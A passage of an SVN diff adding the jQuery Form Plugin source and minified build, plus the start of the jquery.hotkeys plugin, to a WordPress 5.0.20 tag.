+									$('<input type="hidden" name="' + s.extraData[n].name + '">', ownerDocument).val(s.extraData[n].value)
+										.appendTo(form)[0]);
+								} else {
+									extraInputs.push(
+									$('<input type="hidden" name="' + n + '">', ownerDocument).val(s.extraData[n])
+										.appendTo(form)[0]);
+								}
+							}
+						}
+					}
+
+					if (!s.iframeTarget) {
+						// add iframe to doc and submit the form
+						$io.appendTo($body);
+					}
+
+					if (io.attachEvent) {
+						io.attachEvent('onload', cb);
+					} else {
+						io.addEventListener('load', cb, false);
+					}
+
+					setTimeout(checkState, 15);
+
+					try {
+						form.submit();
+
+					} catch (err) {
+						// just in case form has element with name/id of 'submit'
+						var submitFn = document.createElement('form').submit;
+
+						submitFn.apply(form);
+					}
+
+				} finally {
+					// reset attrs and remove "extra" input elements
+					form.setAttribute('action', a);
+					form.setAttribute('enctype', et); // #380
+					if (t) {
+						form.setAttribute('target', t);
+					} else {
+						$form.removeAttr('target');
+					}
+					$(extraInputs).remove();
+				}
+			}
+
+			if (s.forceSync) {
+				doSubmit();
+			} else {
+				setTimeout(doSubmit, 10); // this lets dom updates render
+			}
+
+			var data, doc, domCheckCount = 50, callbackProcessed;
+
+			function cb(e) {
+				if (xhr.aborted || callbackProcessed) {
+					return;
+				}
+
+				doc = getDoc(io);
+				if (!doc) {
+					log('cannot access response document');
+					e = SERVER_ABORT;
+				}
+				if (e === CLIENT_TIMEOUT_ABORT && xhr) {
+					xhr.abort('timeout');
+					deferred.reject(xhr, 'timeout');
+
+					return;
+
+				} else if (e === SERVER_ABORT && xhr) {
+					xhr.abort('server abort');
+					deferred.reject(xhr, 'error', 'server abort');
+
+					return;
+				}
+
+				if (!doc || doc.location.href === s.iframeSrc) {
+					// response not received yet
+					if (!timedOut) {
+						return;
+					}
+				}
+
+				if (io.detachEvent) {
+					io.detachEvent('onload', cb);
+				} else {
+					io.removeEventListener('load', cb, false);
+				}
+
+				var status = 'success', errMsg;
+
+				try {
+					if (timedOut) {
+						throw 'timeout';
+					}
+
+					var isXml = s.dataType === 'xml' || doc.XMLDocument || $.isXMLDoc(doc);
+
+					log('isXml=' + isXml);
+
+					if (!isXml && window.opera && (doc.body === null || !doc.body.innerHTML)) {
+						if (--domCheckCount) {
+							// in some browsers (Opera) the iframe DOM is not always traversable when
+							// the onload callback fires, so we loop a bit to accommodate
+							log('requeing onLoad callback, DOM not available');
+							setTimeout(cb, 250);
+
+							return;
+						}
+						// let this fall through because server response could be an empty document
+						// log('Could not access iframe DOM after mutiple tries.');
+						// throw 'DOMException: not available';
+					}
+
+					// log('response detected');
+					var docRoot = doc.body ? doc.body : doc.documentElement;
+
+					xhr.responseText = docRoot ? docRoot.innerHTML : null;
+					xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
+					if (isXml) {
+						s.dataType = 'xml';
+					}
+					xhr.getResponseHeader = function(header){
+						var headers = {'content-type': s.dataType};
+
+						return headers[header.toLowerCase()];
+					};
+					// support for XHR 'status' & 'statusText' emulation :
+					if (docRoot) {
+						xhr.status = Number(docRoot.getAttribute('status')) || xhr.status;
+						xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText;
+					}
+
+					var dt = (s.dataType || '').toLowerCase();
+					var scr = /(json|script|text)/.test(dt);
+
+					if (scr || s.textarea) {
+						// see if user embedded response in textarea
+						var ta = doc.getElementsByTagName('textarea')[0];
+
+						if (ta) {
+							xhr.responseText = ta.value;
+							// support for XHR 'status' & 'statusText' emulation :
+							xhr.status = Number(ta.getAttribute('status')) || xhr.status;
+							xhr.statusText = ta.getAttribute('statusText') || xhr.statusText;
+
+						} else if (scr) {
+							// account for browsers injecting pre around json response
+							var pre = doc.getElementsByTagName('pre')[0];
+							var b = doc.getElementsByTagName('body')[0];
+
+							if (pre) {
+								xhr.responseText = pre.textContent ? pre.textContent : pre.innerText;
+							} else if (b) {
+								xhr.responseText = b.textContent ? b.textContent : b.innerText;
+							}
+						}
+
+					} else if (dt === 'xml' && !xhr.responseXML && xhr.responseText) {
+						xhr.responseXML = toXml(xhr.responseText);			// eslint-disable-line no-use-before-define
+					}
+
+					try {
+						data = httpData(xhr, dt, s);						// eslint-disable-line no-use-before-define
+
+					} catch (err) {
+						status = 'parsererror';
+						xhr.error = errMsg = (err || status);
+					}
+
+				} catch (err) {
+					log('error caught: ', err);
+					status = 'error';
+					xhr.error = errMsg = (err || status);
+				}
+
+				if (xhr.aborted) {
+					log('upload aborted');
+					status = null;
+				}
+
+				if (xhr.status) { // we've set xhr.status
+					status = ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) ? 'success' : 'error';
+				}
+
+				// ordering of these callbacks/triggers is odd, but that's how $.ajax does it
+				if (status === 'success') {
+					if (s.success) {
+						s.success.call(s.context, data, 'success', xhr);
+					}
+
+					deferred.resolve(xhr.responseText, 'success', xhr);
+
+					if (g) {
+						$.event.trigger('ajaxSuccess', [xhr, s]);
+					}
+
+				} else if (status) {
+					if (typeof errMsg === 'undefined') {
+						errMsg = xhr.statusText;
+					}
+					if (s.error) {
+						s.error.call(s.context, xhr, status, errMsg);
+					}
+					deferred.reject(xhr, 'error', errMsg);
+					if (g) {
+						$.event.trigger('ajaxError', [xhr, s, errMsg]);
+					}
+				}
+
+				if (g) {
+					$.event.trigger('ajaxComplete', [xhr, s]);
+				}
+
+				if (g && !--$.active) {
+					$.event.trigger('ajaxStop');
+				}
+
+				if (s.complete) {
+					s.complete.call(s.context, xhr, status);
+				}
+
+				callbackProcessed = true;
+				if (s.timeout) {
+					clearTimeout(timeoutHandle);
+				}
+
+				// clean up
+				setTimeout(function() {
+					if (!s.iframeTarget) {
+						$io.remove();
+					} else { // adding else to clean up existing iframe response.
+						$io.attr('src', s.iframeSrc);
+					}
+					xhr.responseXML = null;
+				}, 100);
+			}
+
+			var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+)
+				if (window.ActiveXObject) {
+					doc = new ActiveXObject('Microsoft.XMLDOM');
+					doc.async = 'false';
+					doc.loadXML(s);
+
+				} else {
+					doc = (new DOMParser()).parseFromString(s, 'text/xml');
+				}
+
+				return (doc && doc.documentElement && doc.documentElement.nodeName !== 'parsererror') ? doc : null;
+			};
+			var parseJSON = $.parseJSON || function(s) {
+				/* jslint evil:true */
+				return window['eval']('(' + s + ')');			// eslint-disable-line dot-notation
+			};
+
+			var httpData = function(xhr, type, s) { // mostly lifted from jq1.4.4
+
+				var ct = xhr.getResponseHeader('content-type') || '',
+					xml = ((type === 'xml' || !type) && ct.indexOf('xml') >= 0),
+					data = xml ? xhr.responseXML : xhr.responseText;
+
+				if (xml && data.documentElement.nodeName === 'parsererror') {
+					if ($.error) {
+						$.error('parsererror');
+					}
+				}
+				if (s && s.dataFilter) {
+					data = s.dataFilter(data, type);
+				}
+				if (typeof data === 'string') {
+					if ((type === 'json' || !type) && ct.indexOf('json') >= 0) {
+						data = parseJSON(data);
+					} else if ((type === 'script' || !type) && ct.indexOf('javascript') >= 0) {
+						$.globalEval(data);
+					}
+				}
+
+				return data;
+			};
+
+			return deferred;
+		}
+	};
+
+	/**
+	 * ajaxForm() provides a mechanism for fully automating form submission.
+	 *
+	 * The advantages of using this method instead of ajaxSubmit() are:
+	 *
+	 * 1: This method will include coordinates for <input type="image"> elements (if the element
+	 *	is used to submit the form).
+	 * 2. This method will include the submit element's name/value data (for the element that was
+	 *	used to submit the form).
+	 * 3. This method binds the submit() method to the form for you.
+	 *
+	 * The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely
+	 * passes the options argument along after properly binding events for submit elements and
+	 * the form itself.
+	 */
+	$.fn.ajaxForm = function(options, data, dataType, onSuccess) {
+		if (typeof options === 'string' || (options === false && arguments.length > 0)) {
+			options = {
+				'url'      : options,
+				'data'     : data,
+				'dataType' : dataType
+			};
+
+			if (typeof onSuccess === 'function') {
+				options.success = onSuccess;
+			}
+		}
+
+		options = options || {};
+		options.delegation = options.delegation && $.isFunction($.fn.on);
+
+		// in jQuery 1.3+ we can fix mistakes with the ready state
+		if (!options.delegation && this.length === 0) {
+			var o = {s: this.selector, c: this.context};
+
+			if (!$.isReady && o.s) {
+				log('DOM not ready, queuing ajaxForm');
+				$(function() {
+					$(o.s, o.c).ajaxForm(options);
+				});
+
+				return this;
+			}
+
+			// is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
+			log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
+
+			return this;
+		}
+
+		if (options.delegation) {
+			$(document)
+				.off('submit.form-plugin', this.selector, doAjaxSubmit)
+				.off('click.form-plugin', this.selector, captureSubmittingElement)
+				.on('submit.form-plugin', this.selector, options, doAjaxSubmit)
+				.on('click.form-plugin', this.selector, options, captureSubmittingElement);
+
+			return this;
+		}
+
+		return this.ajaxFormUnbind()
+			.on('submit.form-plugin', options, doAjaxSubmit)
+			.on('click.form-plugin', options, captureSubmittingElement);
+	};
+
+	// private event handlers
+	function doAjaxSubmit(e) {
+		/* jshint validthis:true */
+		var options = e.data;
+
+		if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed
+			e.preventDefault();
+			$(e.target).closest('form').ajaxSubmit(options); // #365
+		}
+	}
+
+	function captureSubmittingElement(e) {
+		/* jshint validthis:true */
+		var target = e.target;
+		var $el = $(target);
+
+		if (!$el.is('[type=submit],[type=image]')) {
+			// is this a child element of the submit el?  (ex: a span within a button)
+			var t = $el.closest('[type=submit]');
+
+			if (t.length === 0) {
+				return;
+			}
+			target = t[0];
+		}
+
+		var form = target.form;
+
+		form.clk = target;
+
+		if (target.type === 'image') {
+			if (typeof e.offsetX !== 'undefined') {
+				form.clk_x = e.offsetX;
+				form.clk_y = e.offsetY;
+
+			} else if (typeof $.fn.offset === 'function') {
+				var offset = $el.offset();
+
+				form.clk_x = e.pageX - offset.left;
+				form.clk_y = e.pageY - offset.top;
+
+			} else {
+				form.clk_x = e.pageX - target.offsetLeft;
+				form.clk_y = e.pageY - target.offsetTop;
+			}
+		}
+		// clear form vars
+		setTimeout(function() {
+			form.clk = form.clk_x = form.clk_y = null;
+		}, 100);
+	}
+
+
+	// ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm
+	$.fn.ajaxFormUnbind = function() {
+		return this.off('submit.form-plugin click.form-plugin');
+	};
+
+	/**
+	 * formToArray() gathers form element data into an array of objects that can
+	 * be passed to any of the following ajax functions: $.get, $.post, or load.
+	 * Each object in the array has both a 'name' and 'value' property. An example of
+	 * an array for a simple login form might be:
+	 *
+	 * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
+	 *
+	 * It is this array that is passed to pre-submit callback functions provided to the
+	 * ajaxSubmit() and ajaxForm() methods.
+	 */
+	$.fn.formToArray = function(semantic, elements, filtering) {
+		var a = [];
+
+		if (this.length === 0) {
+			return a;
+		}
+
+		var form = this[0];
+		var formId = this.attr('id');
+		var els = (semantic || typeof form.elements === 'undefined') ? form.getElementsByTagName('*') : form.elements;
+		var els2;
+
+		if (els) {
+			els = $.makeArray(els); // convert to standard array
+		}
+
+		// #386; account for inputs outside the form which use the 'form' attribute
+		// FinesseRus: in non-IE browsers outside fields are already included in form.elements.
+		if (formId && (semantic || /(Edge|Trident)\//.test(navigator.userAgent))) {
+			els2 = $(':input[form="' + formId + '"]').get(); // hat tip @thet
+			if (els2.length) {
+				els = (els || []).concat(els2);
+			}
+		}
+
+		if (!els || !els.length) {
+			return a;
+		}
+
+		if ($.isFunction(filtering)) {
+			els = $.map(els, filtering);
+		}
+
+		var i, j, n, v, el, max, jmax;
+
+		for (i = 0, max = els.length; i < max; i++) {
+			el = els[i];
+			n = el.name;
+			if (!n || el.disabled) {
+				continue;
+			}
+
+			if (semantic && form.clk && el.type === 'image') {
+				// handle image inputs on the fly when semantic == true
+				if (form.clk === el) {
+					a.push({name: n, value: $(el).val(), type: el.type});
+					a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y});
+				}
+				continue;
+			}
+
+			v = $.fieldValue(el, true);
+			if (v && v.constructor === Array) {
+				if (elements) {
+					elements.push(el);
+				}
+				for (j = 0, jmax = v.length; j < jmax; j++) {
+					a.push({name: n, value: v[j]});
+				}
+
+			} else if (feature.fileapi && el.type === 'file') {
+				if (elements) {
+					elements.push(el);
+				}
+
+				var files = el.files;
+
+				if (files.length) {
+					for (j = 0; j < files.length; j++) {
+						a.push({name: n, value: files[j], type: el.type});
+					}
+				} else {
+					// #180
+					a.push({name: n, value: '', type: el.type});
+				}
+
+			} else if (v !== null && typeof v !== 'undefined') {
+				if (elements) {
+					elements.push(el);
+				}
+				a.push({name: n, value: v, type: el.type, required: el.required});
+			}
+		}
+
+		if (!semantic && form.clk) {
+			// input type=='image' are not found in elements array! handle it here
+			var $input = $(form.clk), input = $input[0];
+
+			n = input.name;
+
+			if (n && !input.disabled && input.type === 'image') {
+				a.push({name: n, value: $input.val()});
+				a.push({name: n + '.x', value: form.clk_x}, {name: n + '.y', value: form.clk_y});
+			}
+		}
+
+		return a;
+	};
+
+	/**
+	 * Serializes form data into a 'submittable' string. This method will return a string
+	 * in the format: name1=value1&amp;name2=value2
+	 */
+	$.fn.formSerialize = function(semantic) {
+		// hand off to jQuery.param for proper encoding
+		return $.param(this.formToArray(semantic));
+	};
+
+	/**
+	 * Serializes all field elements in the jQuery object into a query string.
+	 * This method will return a string in the format: name1=value1&amp;name2=value2
+	 */
+	$.fn.fieldSerialize = function(successful) {
+		var a = [];
+
+		this.each(function() {
+			var n = this.name;
+
+			if (!n) {
+				return;
+			}
+
+			var v = $.fieldValue(this, successful);
+
+			if (v && v.constructor === Array) {
+				for (var i = 0, max = v.length; i < max; i++) {
+					a.push({name: n, value: v[i]});
+				}
+
+			} else if (v !== null && typeof v !== 'undefined') {
+				a.push({name: this.name, value: v});
+			}
+		});
+
+		// hand off to jQuery.param for proper encoding
+		return $.param(a);
+	};
+
+	/**
+	 * Returns the value(s) of the element in the matched set. For example, consider the following form:
+	 *
+	 *	<form><fieldset>
+	 *		<input name="A" type="text">
+	 *		<input name="A" type="text">
+	 *		<input name="B" type="checkbox" value="B1">
+	 *		<input name="B" type="checkbox" value="B2">
+	 *		<input name="C" type="radio" value="C1">
+	 *		<input name="C" type="radio" value="C2">
+	 *	</fieldset></form>
+	 *
+	 *	var v = $('input[type=text]').fieldValue();
+	 *	// if no values are entered into the text inputs
+	 *	v === ['','']
+	 *	// if values entered into the text inputs are 'foo' and 'bar'
+	 *	v === ['foo','bar']
+	 *
+	 *	var v = $('input[type=checkbox]').fieldValue();
+	 *	// if neither checkbox is checked
+	 *	v === undefined
+	 *	// if both checkboxes are checked
+	 *	v === ['B1', 'B2']
+	 *
+	 *	var v = $('input[type=radio]').fieldValue();
+	 *	// if neither radio is checked
+	 *	v === undefined
+	 *	// if first radio is checked
+	 *	v === ['C1']
+	 *
+	 * The successful argument controls whether or not the field element must be 'successful'
+	 * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls).
+	 * The default value of the successful argument is true. If this value is false the value(s)
+	 * for each element is returned.
+	 *
+	 * Note: This method *always* returns an array. If no valid value can be determined the
+	 *	array will be empty, otherwise it will contain one or more values.
+	 */
+	$.fn.fieldValue = function(successful) {
+		for (var val = [], i = 0, max = this.length; i < max; i++) {
+			var el = this[i];
+			var v = $.fieldValue(el, successful);
+
+			if (v === null || typeof v === 'undefined' || (v.constructor === Array && !v.length)) {
+				continue;
+			}
+
+			if (v.constructor === Array) {
+				$.merge(val, v);
+			} else {
+				val.push(v);
+			}
+		}
+
+		return val;
+	};
+
+	/**
+	 * Returns the value of the field element.
+	 */
+	$.fieldValue = function(el, successful) {
+		var n = el.name, t = el.type, tag = el.tagName.toLowerCase();
+
+		if (typeof successful === 'undefined') {
+			successful = true;
+		}
+
+		/* eslint-disable no-mixed-operators */
+		if (successful && (!n || el.disabled || t === 'reset' || t === 'button' ||
+			(t === 'checkbox' || t === 'radio') && !el.checked ||
+			(t === 'submit' || t === 'image') && el.form && el.form.clk !== el ||
+			tag === 'select' && el.selectedIndex === -1)) {
+		/* eslint-enable no-mixed-operators */
+			return null;
+		}
+
+		if (tag === 'select') {
+			var index = el.selectedIndex;
+
+			if (index < 0) {
+				return null;
+			}
+
+			var a = [], ops = el.options;
+			var one = (t === 'select-one');
+			var max = (one ? index + 1 : ops.length);
+
+			for (var i = (one ? index : 0); i < max; i++) {
+				var op = ops[i];
+
+				if (op.selected && !op.disabled) {
+					var v = op.value;
+
+					if (!v) { // extra pain for IE...
+						v = (op.attributes && op.attributes.value && !(op.attributes.value.specified)) ? op.text : op.value;
+					}
+
+					if (one) {
+						return v;
+					}
+
+					a.push(v);
+				}
+			}
+
+			return a;
+		}
+
+		return $(el).val().replace(rCRLF, '\r\n');
+	};
+
+	/**
+	 * Clears the form data. Takes the following actions on the form's input fields:
+	 *  - input text fields will have their 'value' property set to the empty string
+	 *  - select elements will have their 'selectedIndex' property set to -1
+	 *  - checkbox and radio inputs will have their 'checked' property set to false
+	 *  - inputs of type submit, button, reset, and hidden will *not* be effected
+	 *  - button elements will *not* be effected
+	 */
+	$.fn.clearForm = function(includeHidden) {
+		return this.each(function() {
+			$('input,select,textarea', this).clearFields(includeHidden);
+		});
+	};
+
+	/**
+	 * Clears the selected form elements.
+	 */
+	$.fn.clearFields = $.fn.clearInputs = function(includeHidden) {
+		var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // 'hidden' is not in this list
+
+		return this.each(function() {
+			var t = this.type, tag = this.tagName.toLowerCase();
+
+			if (re.test(t) || tag === 'textarea') {
+				this.value = '';
+
+			} else if (t === 'checkbox' || t === 'radio') {
+				this.checked = false;
+
+			} else if (tag === 'select') {
+				this.selectedIndex = -1;
+
+			} else if (t === 'file') {
+				if (/MSIE/.test(navigator.userAgent)) {
+					$(this).replaceWith($(this).clone(true));
+				} else {
+					$(this).val('');
+				}
+
+			} else if (includeHidden) {
+				// includeHidden can be the value true, or it can be a selector string
+				// indicating a special test; for example:
+				// $('#myForm').clearForm('.special:hidden')
+				// the above would clean hidden inputs that have the class of 'special'
+				if ((includeHidden === true && /hidden/.test(t)) ||
+					(typeof includeHidden === 'string' && $(this).is(includeHidden))) {
+					this.value = '';
+				}
+			}
+		});
+	};
+
+
+	/**
+	 * Resets the form data or individual elements. Takes the following actions
+	 * on the selected tags:
+	 * - all fields within form elements will be reset to their original value
+	 * - input / textarea / select fields will be reset to their original value
+	 * - option / optgroup fields (for multi-selects) will defaulted individually
+	 * - non-multiple options will find the right select to default
+	 * - label elements will be searched against its 'for' attribute
+	 * - all others will be searched for appropriate children to default
+	 */
+	$.fn.resetForm = function() {
+		return this.each(function() {
+			var el = $(this);
+			var tag = this.tagName.toLowerCase();
+
+			switch (tag) {
+			case 'input':
+				this.checked = this.defaultChecked;
+					// fall through
+
+			case 'textarea':
+				this.value = this.defaultValue;
+
+				return true;
+
+			case 'option':
+			case 'optgroup':
+				var select = el.parents('select');
+
+				if (select.length && select[0].multiple) {
+					if (tag === 'option') {
+						this.selected = this.defaultSelected;
+					} else {
+						el.find('option').resetForm();
+					}
+				} else {
+					select.resetForm();
+				}
+
+				return true;
+
+			case 'select':
+				el.find('option').each(function(i) {				// eslint-disable-line consistent-return
+					this.selected = this.defaultSelected;
+					if (this.defaultSelected && !el[0].multiple) {
+						el[0].selectedIndex = i;
+
+						return false;
+					}
+				});
+
+				return true;
+
+			case 'label':
+				var forEl = $(el.attr('for'));
+				var list = el.find('input,select,textarea');
+
+				if (forEl[0]) {
+					list.unshift(forEl[0]);
+				}
+
+				list.resetForm();
+
+				return true;
+
+			case 'form':
+					// guard against an input with the name of 'reset'
+					// note that IE reports the reset function as an 'object'
+				if (typeof this.reset === 'function' || (typeof this.reset === 'object' && !this.reset.nodeType)) {
+					this.reset();
+				}
+
+				return true;
+
+			default:
+				el.find('form,input,label,select,textarea').resetForm();
+
+				return true;
+			}
+		});
+	};
+
+	/**
+	 * Enables or disables any matching elements.
+	 */
+	$.fn.enable = function(b) {
+		if (typeof b === 'undefined') {
+			b = true;
+		}
+
+		return this.each(function() {
+			this.disabled = !b;
+		});
+	};
+
+	/**
+	 * Checks/unchecks any matching checkboxes or radio buttons and
+	 * selects/deselects and matching option elements.
+	 */
+	$.fn.selected = function(select) {
+		if (typeof select === 'undefined') {
+			select = true;
+		}
+
+		return this.each(function() {
+			var t = this.type;
+
+			if (t === 'checkbox' || t === 'radio') {
+				this.checked = select;
+
+			} else if (this.tagName.toLowerCase() === 'option') {
+				var $sel = $(this).parent('select');
+
+				if (select && $sel[0] && $sel[0].type === 'select-one') {
+					// deselect all other options
+					$sel.find('option').selected(false);
+				}
+
+				this.selected = select;
+			}
+		});
+	};
+
+	// expose debug var
+	$.fn.ajaxSubmit.debug = false;
+
+	// helper fn for console logging
+	function log() {
+		if (!$.fn.ajaxSubmit.debug) {
+			return;
+		}
+
+		var msg = '[jquery.form] ' + Array.prototype.join.call(arguments, '');
+
+		if (window.console && window.console.log) {
+			window.console.log(msg);
+
+		} else if (window.opera && window.opera.postError) {
+			window.opera.postError(msg);
+		}
+	}
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.min.js	(revision 56912)
@@ -0,0 +1,12 @@
+/*!
+ * jQuery Form Plugin
+ * version: 4.2.1
+ * Requires jQuery v1.7 or later
+ * Copyright 2017 Kevin Morris
+ * Copyright 2006 M. Alsup
+ * Project repository: https://github.com/jquery-form/form
+ * Dual licensed under the MIT and LGPLv3 licenses.
+ * https://github.com/jquery-form/form#license
+ */
+!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof module&&module.exports?module.exports=function(b,c){return void 0===c&&(c="undefined"!=typeof window?require("jquery"):require("jquery")(b)),a(c),c}:a(jQuery)}(function(a){"use strict";function b(b){var c=b.data;b.isDefaultPrevented()||(b.preventDefault(),a(b.target).closest("form").ajaxSubmit(c))}function c(b){var c=b.target,d=a(c);if(!d.is("[type=submit],[type=image]")){var e=d.closest("[type=submit]");if(0===e.length)return;c=e[0]}var f=c.form;if(f.clk=c,"image"===c.type)if(void 0!==b.offsetX)f.clk_x=b.offsetX,f.clk_y=b.offsetY;else if("function"==typeof a.fn.offset){var g=d.offset();f.clk_x=b.pageX-g.left,f.clk_y=b.pageY-g.top}else f.clk_x=b.pageX-c.offsetLeft,f.clk_y=b.pageY-c.offsetTop;setTimeout(function(){f.clk=f.clk_x=f.clk_y=null},100)}function d(){if(a.fn.ajaxSubmit.debug){var b="[jquery.form] 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zero elements found by selector"+(a.isReady?"":" (DOM not ready)")),this)}return e.delegation?(a(document).off("submit.form-plugin",this.selector,b).off("click.form-plugin",this.selector,c).on("submit.form-plugin",this.selector,e,b).on("click.form-plugin",this.selector,e,c),this):this.ajaxFormUnbind().on("submit.form-plugin",e,b).on("click.form-plugin",e,c)},a.fn.ajaxFormUnbind=function(){return this.off("submit.form-plugin click.form-plugin")},a.fn.formToArray=function(b,c,d){var f=[];if(0===this.length)return f;var g,h=this[0],i=this.attr("id"),j=b||void 0===h.elements?h.getElementsByTagName("*"):h.elements;if(j&&(j=a.makeArray(j)),i&&(b||/(Edge|Trident)\//.test(navigator.userAgent))&&(g=a(':input[form="'+i+'"]').get(),g.length&&(j=(j||[]).concat(g))),!j||!j.length)return f;a.isFunction(d)&&(j=a.map(j,d));var k,l,m,n,o,p,q;for(k=0,p=j.length;k<p;k++)if(o=j[k],(m=o.name)&&!o.disabled)if(b&&h.clk&&"image"===o.type)h.clk===o&&(f.push({name:m,value:a(o).val(),type:o.type}),f.push({name:m+".x",value:h.clk_x},{name:m+".y",value:h.clk_y}));else if((n=a.fieldValue(o,!0))&&n.constructor===Array)for(c&&c.push(o),l=0,q=n.length;l<q;l++)f.push({name:m,value:n[l]});else if(e.fileapi&&"file"===o.type){c&&c.push(o);var r=o.files;if(r.length)for(l=0;l<r.length;l++)f.push({name:m,value:r[l],type:o.type});else f.push({name:m,value:"",type:o.type})}else null!==n&&void 0!==n&&(c&&c.push(o),f.push({name:m,value:n,type:o.type,required:o.required}));if(!b&&h.clk){var s=a(h.clk),t=s[0];m=t.name,m&&!t.disabled&&"image"===t.type&&(f.push({name:m,value:s.val()}),f.push({name:m+".x",value:h.clk_x},{name:m+".y",value:h.clk_y}))}return f},a.fn.formSerialize=function(b){return a.param(this.formToArray(b))},a.fn.fieldSerialize=function(b){var c=[];return this.each(function(){var d=this.name;if(d){var e=a.fieldValue(this,b);if(e&&e.constructor===Array)for(var f=0,g=e.length;f<g;f++)c.push({name:d,value:e[f]});else null!==e&&void 0!==e&&c.push({name:this.name,value:e})}}),a.param(c)},a.fn.fieldValue=function(b){for(var c=[],d=0,e=this.length;d<e;d++){var f=this[d],g=a.fieldValue(f,b);null===g||void 0===g||g.constructor===Array&&!g.length||(g.constructor===Array?a.merge(c,g):c.push(g))}return c},a.fieldValue=function(b,c){var d=b.name,e=b.type,f=b.tagName.toLowerCase();if(void 0===c&&(c=!0),c&&(!d||b.disabled||"reset"===e||"button"===e||("checkbox"===e||"radio"===e)&&!b.checked||("submit"===e||"image"===e)&&b.form&&b.form.clk!==b||"select"===f&&b.selectedIndex===-1))return null;if("select"===f){var g=b.selectedIndex;if(g<0)return null;for(var h=[],i=b.options,j="select-one"===e,k=j?g+1:i.length,l=j?g:0;l<k;l++){var m=i[l];if(m.selected&&!m.disabled){var n=m.value;if(n||(n=m.attributes&&m.attributes.value&&!m.attributes.value.specified?m.text:m.value),j)return n;h.push(n)}}return h}return a(b).val().replace(/\r?\n/g,"\r\n")},a.fn.clearForm=function(b){return this.each(function(){a("input,select,textarea",this).clearFields(b)})},a.fn.clearFields=a.fn.clearInputs=function(b){var c=/^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i;return this.each(function(){var d=this.type,e=this.tagName.toLowerCase();c.test(d)||"textarea"===e?this.value="":"checkbox"===d||"radio"===d?this.checked=!1:"select"===e?this.selectedIndex=-1:"file"===d?/MSIE/.test(navigator.userAgent)?a(this).replaceWith(a(this).clone(!0)):a(this).val(""):b&&(b===!0&&/hidden/.test(d)||"string"==typeof b&&a(this).is(b))&&(this.value="")})},a.fn.resetForm=function(){return this.each(function(){var b=a(this),c=this.tagName.toLowerCase();switch(c){case"input":this.checked=this.defaultChecked;case"textarea":return this.value=this.defaultValue,!0;case"option":case"optgroup":var d=b.parents("select");return d.length&&d[0].multiple?"option"===c?this.selected=this.defaultSelected:b.find("option").resetForm():d.resetForm(),!0;case"select":return b.find("option").each(function(a){if(this.selected=this.defaultSelected,this.defaultSelected&&!b[0].multiple)return b[0].selectedIndex=a,!1}),!0;case"label":var e=a(b.attr("for")),f=b.find("input,select,textarea");return e[0]&&f.unshift(e[0]),f.resetForm(),!0;case"form":return("function"==typeof this.reset||"object"==typeof this.reset&&!this.reset.nodeType)&&this.reset(),!0;default:return b.find("form,input,label,select,textarea").resetForm(),!0}})},a.fn.enable=function(a){return void 0===a&&(a=!0),this.each(function(){this.disabled=!a})},a.fn.selected=function(b){return void 0===b&&(b=!0),this.each(function(){var c=this.type;if("checkbox"===c||"radio"===c)this.checked=b;else if("option"===this.tagName.toLowerCase()){var d=a(this).parent("select");b&&d[0]&&"select-one"===d[0].type&&d.find("option").selected(!1),this.selected=b}})},a.fn.ajaxSubmit.debug=!1});
+//# sourceMappingURL=jquery.form.min.js.map
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.hotkeys.js	(revision 56912)
@@ -0,0 +1,134 @@
+/******************************************************************************************************************************
+
+ * @ Original idea by by Binny V A, Original version: 2.00.A
+ * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/
+ * @ Original License : BSD
+
+ * @ jQuery Plugin by Tzury Bar Yochay
+        mail: tzury.by@gmail.com
+        blog: evalinux.wordpress.com
+        face: facebook.com/profile.php?id=513676303
+
+        (c) Copyrights 2007
+
+ * @ jQuery Plugin version Beta (0.0.2)
+ * @ License: jQuery-License.
+
+TODO:
+    add queue support (as in gmail) e.g. 'x' then 'y', etc.
+    add mouse + mouse wheel events.
+
+USAGE:
+    $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');});
+    $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});>
+    $.hotkeys.remove('Ctrl+c');
+    $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'});
+
+******************************************************************************************************************************/
+(function (jQuery){
+    this.version = '(beta)(0.0.3)';
+	this.all = {};
+    this.special_keys = {
+        27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock',
+        144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup',
+        34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3',
+        115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'};
+
+    this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&",
+        "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<",
+        ".":">",  "/":"?",  "\\":"|" };
+
+    this.add = function(combi, options, callback) {
+        if (jQuery.isFunction(options)){
+            callback = options;
+            options = {};
+        }
+        var opt = {},
